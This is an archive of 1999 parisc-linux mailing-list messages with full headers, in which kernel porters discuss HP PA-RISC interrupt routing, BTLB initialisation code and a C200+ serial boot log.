Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31470 invoked from network); 13 Nov 1999 18:48:14 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 13 Nov 1999 18:48:14 -0000
Original-Received: from vodka.thepuffingroup.com (IDENT:adevries@vodka.thepuffingroup.com [192.168.1.2])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id OAA03727;
	Sat, 13 Nov 1999 14:59:04 -0500
In-Reply-To: <199911131834.NAA00219@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:6361


On Sat, 13 Nov 1999, John David Anglin wrote:
> > For the machines which have ASP, am I right in saying they have no other
> > sources of interrupts?  ie what I want to do is:
> 
> Under hpux 10.X, I was told that the NCR 710/720 controller devices are
> sources of interrupts.  They do this by writing to the processor.  Thus,
> it appears they bypass the ASP.

I think those are routed through ASP just like they are on Lasi.  

At some point we need to be concerned with Zalon interrupt handling too.

- Alex


From - Thu Nov 08 21:11:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715 useful
Date: Sat, 13 Nov 1999 14:05:09 -0500 (EST)
Lines: 73
Approved: news@gmane.org
Message-ID: <199911131905.OAA01807@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.10.9911131458240.3678-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618621 27822 80.91.229.3 (22 Nov 2014 01:10:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:21 +0000 (UTC)
Cc: Matthew.Wilcox@genedata.com, parisc-linux@thepuffingroup.com
To: adevries@thepuffingroup.com (Alex deVries)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sat Nov 13 12:03:40 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA05518
	for <parisc-linux@puffin.external.hp.com>; Sat, 13 Nov 1999 12:03:39 -0700
Original-Received: (qmail 3425 invoked by uid 15267); 13 Nov 1999 19:05:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3415 invoked from network); 13 Nov 1999 19:05:10 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 13 Nov 1999 19:05:10 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id OAA01807;
	Sat, 13 Nov 1999 14:05:09 -0500 (EST)
In-Reply-To: <Pine.LNX.4.10.9911131458240.3678-100000@vodka.thepuffingroup.com> from "Alex deVries" at Nov 13, 99 02:59:04 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6362

> On Sat, 13 Nov 1999, John David Anglin wrote:
> > > For the machines which have ASP, am I right in saying they have no other
> > > sources of interrupts?  ie what I want to do is:
> > 
> > Under hpux 10.X, I was told that the NCR 710/720 controller devices are
> > sources of interrupts.  They do this by writing to the processor.  Thus,
> > it appears they bypass the ASP.
> 
> I think those are routed through ASP just like they are on Lasi.  
> 
> At some point we need to be concerned with Zalon interrupt handling too.

I was having problems with SCSI timeouts and LPMCs on my 735 after upgrading
to 10.20.  Grant Grundler wrote:

> In looking at the PA7300LC ERS, I see that detection of out of range DMA
> addresses has to be enabled in the MIOC for LPMCs to occur as a result of
> these events.

This is really interesting.

> 
> >From page 83 in the discussion on "System Start-UP",
> "MIOC_CONTROL (address 0xF###'F080). This register contains bits that control
> both the I/O system and the memory system. Refer to the memory controller
> section for information on setting the memory-related bits; the I/O-related
> bits should be set as follows:
> * set dma_noecc if the PA7300LC should not flag bad data during DMA reads;
> normally, if a double-bit memory error is detected during an outbound DMA
> transaction, the bad data word(s) are marked with bad parity on the GSC bus;
> * set lpmc_en to detect and generate an LPMC on DMA accesses to memory
> space that fall outside of the system's installed physical memory;

The SCSI driver will attempt to use "Transaction based Interrupts"
only for GSC SCSI cards (use "Zalon" front end). The c720 driver programs
the card to generate interrupts by writing to the Processor! (ie way above
memory). I wonder if this is causing the LPMC's.

You need to patch out code in c720_init() which calls wsio_get_interrupts().
Don't patch out the call. Rather NOP out the STW's one at a time which
should immediately follow that  call until it works.
Should be two places the return value is stored and one of them
enables transaction based interrupts.

> * set fast_memory if dwmode (also in MIOC_CONTROL) is set;
> * set lopowhilat if the PA7300LC's power consumption is critical, and you
> wish to slightly reduce it, even at the expense of increasing CPU to I/O late
>   ncy;
> * (set dma_nocache, pgape, and pgdpe only for diagnostic purposes)."
> 
> If I knew where where lpmc_en was set in 10.20, maybe I could turn it off
> for testing.

Very likely early during processor initialization. I don't know that code.

grant

> 
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-660
>   5)

Grant Grundler
Unix Developement Lab
+1.408.447.7253


-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715 useful
Date: Sat, 13 Nov 1999 20:28:36 +0100
Lines: 112
Approved: news@gmane.org
Message-ID: <19991113202836.B29929@mathe.stud.uni-erlangen.de>
References: <19991113192150.X25252@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618621 27828 80.91.229.3 (22 Nov 2014 01:10:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:21 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: prumpf@r.uni-erlangen.de  Sat Nov 13 12:25:52 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA05733
	for <parisc-linux@puffin.external.hp.com>; Sat, 13 Nov 1999 12:25:48 -0700
Original-Received: (qmail 9014 invoked by uid 15267); 13 Nov 1999 19:27:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9007 invoked from network); 13 Nov 1999 19:27:19 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 13 Nov 1999 19:27:19 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Sat, 13 Nov 1999 20:27:17 +0100
Original-Received: (from prumpf@localhost)
	by r (8.9.3/8.9.3) id UAA30038;
	Sat, 13 Nov 1999 20:29:37 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <19991113192150.X25252@mencheca.ch.genedata.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6363

> For the machines which have ASP, am I right in saying they have no other
> sources of interrupts?  ie what I want to do is:
> 
> if we detect an ASP, set the interrupt routine to load the IRR from ASP
> and then only make one pass through do_irq_mask instead of two.
> 
> This lets me not bother which irq line ASP is interrupting on, at the
> expense of not being able to take interrupts from any other source.
> And it'll reduce interrupt latency on those older machines with ASP,
> so it seems like a win, unless I'm wrong and it's possible to add other
> sources of interrupt to them.

Matthew,  I think you are overestimating the negative impact this code has on
interrupt latency.  Furthermore, I do not believe solving a problem that is a
limitation of the interface used - our current driver table device management
system does not allow offsetting IRQ numbers in the same way a linked list
would (and does, for PCI).

The very same problem you want to avoid has to be solved in a clean way for Lasi,
and handling it different on otherwise very similar machines (712, 715) does
more to confuse developers and users (for whom we cannot totally avoid contact
with virtual IRQ numbers) than it does to improve the actual performance of the
kernel.

If you should disagree on the order of performance loss we are talking about here,
please provide benchmarks - should the delay turn out to be unacceptable, we need
to find a way of lowering it, even if it does mean to obfuscate code.


	Philipp Rumpf

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar 10 14:48:37 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id OAA03079
	for <pcj@merlin.pcj.primenet.com>; Wed, 10 Mar 1999 14:48:36 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 10 Mar 1999 14:48:37 PST
Received: from smtp01.primenet.com (daemon@smtp01.primenet.com [206.165.6.131])
	by primenet.com (8.8.8/8.8.5) with ESMTP id MAA03291
	for <pcj@smtp-local.primenet.com>; Mon, 8 Mar 1999 12:42:26 -0700 (MST)
Received: (from daemon@localhost)
	by smtp01.primenet.com (8.8.8/8.8.8) id MAA04656
	for <pcj@primenet.com>; Mon, 8 Mar 1999 12:43:32 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp01.primenet.com, id smtpd004589; Mon Mar  8 12:43:26 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id OAA09364;
	Mon, 8 Mar 1999 14:00:09 -0500
Resent-Date: Mon, 8 Mar 1999 14:00:09 -0500
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
Date: Mon, 8 Mar 1999 13:59:54 -0500 (EST)
From: Alex deVries <adevries@redhat.com>
X-Sender: adevries@devserv.devel.redhat.com
To: "hppa-linux@thepuffingroup.com" <hppa-linux@thepuffingroup.com>
Subject: Re: [hppa-linux] MkLinux to HP712/60
In-Reply-To: <36DD4C15.7EBDA332@hans.or.jp>
Message-ID: <Pine.LNX.3.96.990308135909.5280C-100000@devserv.devel.redhat.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Resent-Message-ID: <"80cgd.0.9I2.vu1vs"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/144
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: e7a6a02ab2fe45888b610f9fcba546f3
Status: RO
Lines: 37
Xref: merlin.pcj.primenet.com palinux:115



The hppa-linux project (soon to be renamed to parisc-linux) is really
concerned with the development of the monolithic port of linux to that
hardware.  MkLinux is completely different.

- Alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
HPPA/Linux Porting Team


On Wed, 3 Mar 1999, Takeshi Maruyama wrote:

> Hello,
> 
> I installed MkLinux for PA-RISC  to my HP712/60.
> The console cannot be displayed with my HP712.
> Is the console displayed in your HP712?
> 
> --
> Takeshi Maruyama. Iwata-city.
> maru@hans.or.jp
> 
> 
> -------------------------------------------------------------------------
> To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Hibler <mike@fast.cs.utah.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re:  [parisc-linux] 715 useful
Date: Sat, 13 Nov 1999 13:25:46 -0700 (MST)
Lines: 12
Approved: news@gmane.org
Message-ID: <199911132025.NAA03275@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618621 27832 80.91.229.3 (22 Nov 2014 01:10:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:21 +0000 (UTC)
To: Matthew.Wilcox@genedata.com, parisc-linux@thepuffingroup.com
Original-X-From: mike@fast.cs.utah.edu  Sat Nov 13 13:24:32 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA05987
	for <parisc-linux@puffin.external.hp.com>; Sat, 13 Nov 1999 13:24:32 -0700
Original-Received: (qmail 23938 invoked by uid 15267); 13 Nov 1999 20:26:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23929 invoked from network); 13 Nov 1999 20:26:00 -0000
Original-Received: from fast.cs.utah.edu (155.99.212.1)
  by mailserv2.iuinc.com with SMTP; 13 Nov 1999 20:26:00 -0000
Original-Received: (from mike@localhost)
	by fast.cs.utah.edu (8.9.1/8.9.1) id NAA03275;
	Sat, 13 Nov 1999 13:25:46 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:6364

> Date: Sat, 13 Nov 1999 19:21:50 +0100
> From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
> To: parisc-linux@thepuffingroup.com
> Subject: [parisc-linux] 715 useful
> 
> For the machines which have ASP, am I right in saying they have no other
> sources of interrupts?
> 

The interval timer, assuming you are using the interrupt feature to
keep time.


From - Thu Nov 08 21:11:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hp700.c and hp800.c ?
Date: Sun, 14 Nov 1999 17:51:46 -0500 (EST)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9911141751050.6663-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618622 27834 80.91.229.3 (22 Nov 2014 01:10:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:22 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Sun Nov 14 14:39:23 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA09266
	for <parisc-linux@puffin.external.hp.com>; Sun, 14 Nov 1999 14:39:22 -0700
Original-Received: (qmail 29183 invoked by uid 15267); 14 Nov 1999 21:40:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29168 invoked from network); 14 Nov 1999 21:40:51 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 14 Nov 1999 21:40:51 -0000
Original-Received: from vodka.thepuffingroup.com (IDENT:adevries@vodka.thepuffingroup.com [192.168.1.2])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id RAA06787
	for <parisc-linux@thepuffingroup.com>; Sun, 14 Nov 1999 17:51:47 -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6365


Do we really need hp700.c and hp800.c in arch/parisc/kernel ?


- Alex

-- 
Alex deVries <adevries@thepuffingroup.com>
Vice President Engineering
The Puffin Group


From - Thu Nov 08 21:11:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] arch/parisc/kernel/realmode_setup.c Question
Date: Sun, 14 Nov 1999 15:49:57 -0700
Lines: 56
Approved: news@gmane.org
Message-ID: <382F3C94.BFF3EB9D@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618622 27839 80.91.229.3 (22 Nov 2014 01:10:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:22 +0000 (UTC)
Cc: Parisc Linux <parisc-linux@thepuffingroup.com>
To: paul_bame@hp.com
Original-X-From: rbradetich@uswest.net  Sun Nov 14 15:48:53 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA09624
	for <parisc-linux@puffin.external.hp.com>; Sun, 14 Nov 1999 15:48:53 -0700
Original-Received: (qmail 16929 invoked by uid 15267); 14 Nov 1999 22:50:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16922 invoked from network); 14 Nov 1999 22:50:26 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 14 Nov 1999 22:50:26 -0000
Original-Received: (qmail 15525 invoked by alias); 14 Nov 1999 22:50:23 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 15469 invoked by uid 0); 14 Nov 1999 22:50:18 -0000
Original-Received: from beavis.ybsoft.com (HELO uswest.net) (63.224.241.68)
  by boispop1.bois.uswest.net with SMTP; 14 Nov 1999 22:50:18 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.12 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6366

Paul,

I have started working on getting the kernel to boot on the PA2.0
architecture again, and I see the you and others have been doing
lots of work with the initialization code.  (Nice job to everyone btw,
the code is a lot easier to figure out for a newbie like me! :)

I was looking at the following section of code and I have a
discrepancy that I wanted to make you aware of.  I don't know how
to fix it yet, but I will continue to look.

I am working on a C200+ which has the PA2.0 processor, so in the
the following section of code it should give me an error during the
BTLB initialization, but during the PDC_BTLB_INSERT pret is set
to 0, so the check for non-PA1.1 architecture's fail.

I will continue to look through the documentation that has been
previously pointed out, and the devresource page  pointed out by
Frank Rowand to see if I can find a solution to the problem.

Thanks,

Ryan Bradetich


[Taken from arch/parisc/kernel/realmode_setup.c]

 /* This whole VM setup stuff may be removed ultimately.  It seems
   * to me that once the TLB miss handlers are ready, we just switch
   * to VM and let them handle TLB population -PB
   */

  pret = (*PAGE0->mem_pdc)(
  PDC_BLOCK_TLB,
  PDC_BTLB_INSERT,
  0x00000000,  /* MS bits, virt page number */
  0xc0000,  /* LS bits, virt page number */
  0x00000000,  /* Physical page number */
  4096,   /* # pages to map */
  0x03000000,  /* access rights, etc... */
  0);   /* slot number */

  if (pret != 0)
 {
       mprintf("PDC_BTLB_INSERT returned %d\n", pret);
      if (pret == -1)
     {
        mprintf("Looks like there's no BTLB on this box, so it's
probably\n"
                       "either PA1.0 or PA2.0.  In any case we're
screwed for now\n");
        led_flash();
     }
}



From - Thu Nov 08 21:11:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] arch/parisc/kernel/realmode_setup.c Question
Date: Sun, 14 Nov 1999 19:59:11 -0500 (EST)
Lines: 36
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9911141954080.7120-100000@vodka.thepuffingroup.com>
References: <382F3C94.BFF3EB9D@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618622 27847 80.91.229.3 (22 Nov 2014 01:10:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:22 +0000 (UTC)
Cc: paul_bame@hp.com, Parisc Linux <parisc-linux@thepuffingroup.com>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: adevries@thepuffingroup.com  Sun Nov 14 16:46:48 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA10136
	for <parisc-linux@puffin.external.hp.com>; Sun, 14 Nov 1999 16:46:48 -0700
Original-Received: (qmail 691 invoked by uid 15267); 14 Nov 1999 23:48:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 683 invoked from network); 14 Nov 1999 23:48:20 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 14 Nov 1999 23:48:20 -0000
Original-Received: from vodka.thepuffingroup.com (IDENT:adevries@vodka.thepuffingroup.com [192.168.1.2])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id TAA07141;
	Sun, 14 Nov 1999 19:59:12 -0500
In-Reply-To: <382F3C94.BFF3EB9D@uswest.net>
Xref: news.gmane.org gmane.linux.ports.parisc:6367


On Sun, 14 Nov 1999, Ryan Bradetich wrote:
> I have started working on getting the kernel to boot on the PA2.0
> architecture again, and I see the you and others have been doing
> lots of work with the initialization code.  (Nice job to everyone btw,
> the code is a lot easier to figure out for a newbie like me! :)

Same here.

> I am working on a C200+ which has the PA2.0 processor, so in the
> the following section of code it should give me an error during the
> BTLB initialization, but during the PDC_BTLB_INSERT pret is set
> to 0, so the check for non-PA1.1 architecture's fail.

It's a bit unclear to me which processor is actually in there, but I
believe it's an 8000, so it and the firmware may in fact support
PDC_BTLB_INSERT, which means that the kernel might work properly.

I have a C3000 which does *NOT* implement PDC_BTLB functions.

It sounds like the error message is actually a bit misleading.

Instead of:

         mprintf("Looks like there's no BTLB on this box, so it's > probably\n"
                       "either PA1.0 or PA2.0.  In any case we're screwed for now\n");

it should be:

"Looks like there's no BTLB on this box, so it's either a PA1.0 or a PA2.0
that doesn't implement BTLBs"

How far does it actually boot though?

- Alex


From - Thu Nov 08 21:11:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] arch/parisc/kernel/realmode_setup.c Question
Date: Sun, 14 Nov 1999 18:01:20 -0700
Lines: 151
Approved: news@gmane.org
Message-ID: <382F5B60.D215DB58@uswest.net>
References: <Pine.LNX.4.10.9911141954080.7120-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618623 27850 80.91.229.3 (22 Nov 2014 01:10:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:23 +0000 (UTC)
Cc: paul_bame@hp.com, Parisc Linux <parisc-linux@thepuffingroup.com>
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: rbradetich@uswest.net  Sun Nov 14 18:00:13 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA10914
	for <parisc-linux@puffin.external.hp.com>; Sun, 14 Nov 1999 18:00:13 -0700
Original-Received: (qmail 20409 invoked by uid 15267); 15 Nov 1999 01:01:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20397 invoked from network); 15 Nov 1999 01:01:46 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 01:01:46 -0000
Original-Received: (qmail 6969 invoked by alias); 15 Nov 1999 01:01:44 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 6946 invoked by uid 0); 15 Nov 1999 01:01:43 -0000
Original-Received: from beavis.ybsoft.com (HELO uswest.net) (63.224.241.68)
  by boispop1.bois.uswest.net with SMTP; 15 Nov 1999 01:01:43 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.12 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6368

Alex deVries wrote:

> On Sun, 14 Nov 1999, Ryan Bradetich wrote:
> > I have started working on getting the kernel to boot on the PA2.0
> > architecture again, and I see the you and others have been doing
> > lots of work with the initialization code.  (Nice job to everyone btw,
> > the code is a lot easier to figure out for a newbie like me! :)
>
> Same here.
>
> > I am working on a C200+ which has the PA2.0 processor, so in the
> > the following section of code it should give me an error during the
> > BTLB initialization, but during the PDC_BTLB_INSERT pret is set
> > to 0, so the check for non-PA1.1 architecture's fail.
>
> It's a bit unclear to me which processor is actually in there, but I
> believe it's an 8000, so it and the firmware may in fact support
> PDC_BTLB_INSERT, which means that the kernel might work properly.
>
> I have a C3000 which does *NOT* implement PDC_BTLB functions.
>
> It sounds like the error message is actually a bit misleading.
>
> Instead of:
>
>          mprintf("Looks like there's no BTLB on this box, so it's > probably\n"
>                        "either PA1.0 or PA2.0.  In any case we're screwed for now\n");
>
> it should be:
>
> "Looks like there's no BTLB on this box, so it's either a PA1.0 or a PA2.0
> that doesn't implement BTLBs"
>
> How far does it actually boot though?

Same as always (their is just more console output before it hangs).  Here is a cut/paste
of the console messages from the serial console.


Firmware Version  5.2

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           Coprocessor State  I/D Cache
  ---------  --------   ---------------------  -----------------  -------------
      0      200 MHz    Active                 Functional         512 KB/1 MB

  Central Bus Speed (in MHz) :        120

  Available memory (bytes)    : 268435456
  Good memory required (bytes):   21827584

  Primary boot path:    FWSCSI.5.0
  Alternate boot path:  SESCSI.6.0
  Console path:         SERIAL_1.9600.8.none
  Keyboard path:        PS2

CPU 0
WARNING:  Self tests have been disabled as a result of FASTBOOT
          being enabled.  To enable self tests, use the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.
WARNING:  Memory has been initialized, but not tested as a result of
          FASTBOOT being enabled.  To test memory, use the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.


Processor is booting from first available device.

To discontinue, press any key within 10 seconds.

Boot terminated.


------- Main Menu -------------------------------------------------------------

        Command                         Description
        -------                         -----------
        BOot [PRI|ALT|<path>]           Boot from specified path
        PAth [PRI|ALT|CON|KEY] [<path>] Display or modify a path
        SEArch [DIsplay|IPL] [<path>]   Search for boot devices

        COnfiguration [<command>]       Access Configuration menu/commands
        INformation [<command>]         Access Information menu/commands
        SERvice [<command>]             Access Service menu/commands


        DIsplay                         Redisplay the current menu
        HElp [<menu>|<command>]         Display help for menu or command
        RESET                           Restart the system
-------
Main Menu: Enter command > bo lan <ip>
Interact with IPL (Y, N, Q)?> n

Booting...
Network Station Address 0060b0-ea9875
System IP Address  <ip>
Server IP Address <ip>

Boot IO Dependent Code (IODC) revision 2


HARD Booted.

------------------------------------------------------------------------------

PARISC/Linux Bootstrap Version 0.6 (non-interactive)
By Helge Deller & Jason Eckhardt
Built Sat Nov 13 17:17:38 MST 1999 by root@vega

Reading parameters...done.

Loading PA-RISC/Linux Kernel...
SOM-Kernel:
aux_header_location: 00000080
som       : 00200080
exec_dfile: 000C8000
exec_dsize: 00082000
exec_dmem : C009A000
exec_tfile: 0003E000
exec_tsize: 00089008
exec_tmem : C0010000
Code at 0x00010000, size=0x00089008
Data at 0x0009A000, size=0x00082000
BSS  at 0x0011C000.

Transferring control to kernel. (At entry point 0x00010000)
kernel(0x00148C80, 0x00504010, 0x00148C80, 0x00016640)
Clear BSS 0x0011B048 --> 0x0013D690
Boot loader: PA/Linux, maybe PALO
realmode_setup exiting

... At this point it hangs.  Before, it always used to hang at:
Transferring control to kernel. (At entry point 0x00010000)

I still do not believe it ever successfully finished the rfi in head.S :(
I still need to do some more research to verify this, but that is my
gut feeling right now.

Ryan Bradetich

>
> - Alex
>
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.


From - Thu Nov 08 21:11:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Katz "\(William\)" <billk@sr.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715 useful (fwd)
Date: Sun, 14 Nov 1999 17:23:36 -0800 (PST)
Lines: 38
Approved: news@gmane.org
Message-ID: <199911150123.RAA01444@meow.sr.hp.com>
Reply-To: bkatz@agilent.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
